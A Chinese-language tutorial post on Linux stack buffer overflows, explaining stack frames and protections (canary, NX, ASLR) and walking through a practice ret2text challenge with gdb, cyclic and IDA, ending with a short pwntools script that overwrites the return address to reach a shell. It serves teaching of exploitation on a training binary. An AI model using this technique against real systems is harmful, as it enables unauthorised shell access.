Linux下栈溢出学习 1

这篇文章主要讲解了二进制栈溢出的原理。

1、关于栈的举例说明

  1. 栈是一种LIFO的数据结构。
  2. 应用程序有一到多个用户态栈。
  3. 栈自底向上增长,由指令PUSH和POP引起其动态变化。
  4. 局部变量布局在栈中。
  5. 调用函数时参数由栈传递,返回地址也存储于栈中。
  6. 函数调用上下文与局部变量共同组成了栈帧——Stack Frame.

alt

alt

2、栈的保护机制

CANNARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX(DEP)(数据执行保护 Data Execution Prevention)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加堆(heap)的随机化

栈溢出的利用思路

  1. 先决条件:栈局部变量可控,存在溢出漏洞(strcpy、memcpy等)。
  2. 通过计算栈空间,写出shellcode,并用shellcode起始地址覆盖栈帧的返回地址(ret addr)。
  3. Payload = [Nop sled + ] Shellcode + Pad + Shellcode’s Addr

实际利用

文件链接:https://share.weiyun.com/evUKkBCv

首先讲一下这道题的思路,gdb打开程序,然后运行,输入一串字符,然后程序在某个地址发生错误。

使用checksec ret2text查看程序的保护机制,这里发现啥都没有

alt

使用cyclic 150 生成150个字符

alt

运行程序,输入字符串,发现程序在0x61616166发生错误

alt

使用cyclic -l 0x61616166计算偏移量(上述方法只适用于32位程序),得到偏移量20

alt

通过gdb调试也可以看出偏移量是20

alt

在ida中打开程序,找到main函数

alt

进入到vulnerable函数,发现有个gets函数(gets函数是很不安全的)

alt

然后搜索字符串,发现/bin/sh

alt

/bin/sh的作用简而言之就是打开一个可以执行bash命令的命令行,所以当看到这个字符串时一定要重视

alt

然后继续跟进的话,可以发现有个可以直接使用的后门函数

alt

接下来就可以开始写exp了

# 导入pwntools
from pwn import *

# 在本地运行ret2text
p = process("./ret2text")
# 远程执行的话如下
# p = remote('127.0.0.1',8982)
# 前面是ip地址,后面是端口号

# 后门函数的地址
address = 0x08048522

# payload的构成,先填充20个垃圾字符,在用后门函数的地址覆盖返回地址
payload = 0x14 * 'a'.encode() + p32(address)

# 上面是在python3下的写法,下面是python2下
# payload = 0x14 * 'a' + p32(address)

# 发送payload
p.sendline(payload)

# 在终端里将命令传送到远程服务器
p.interactive();

如果对于exp中的命令不理解,可以看看这篇文章

栈的结构如下:

alt

运行exp.py,利用成功

alt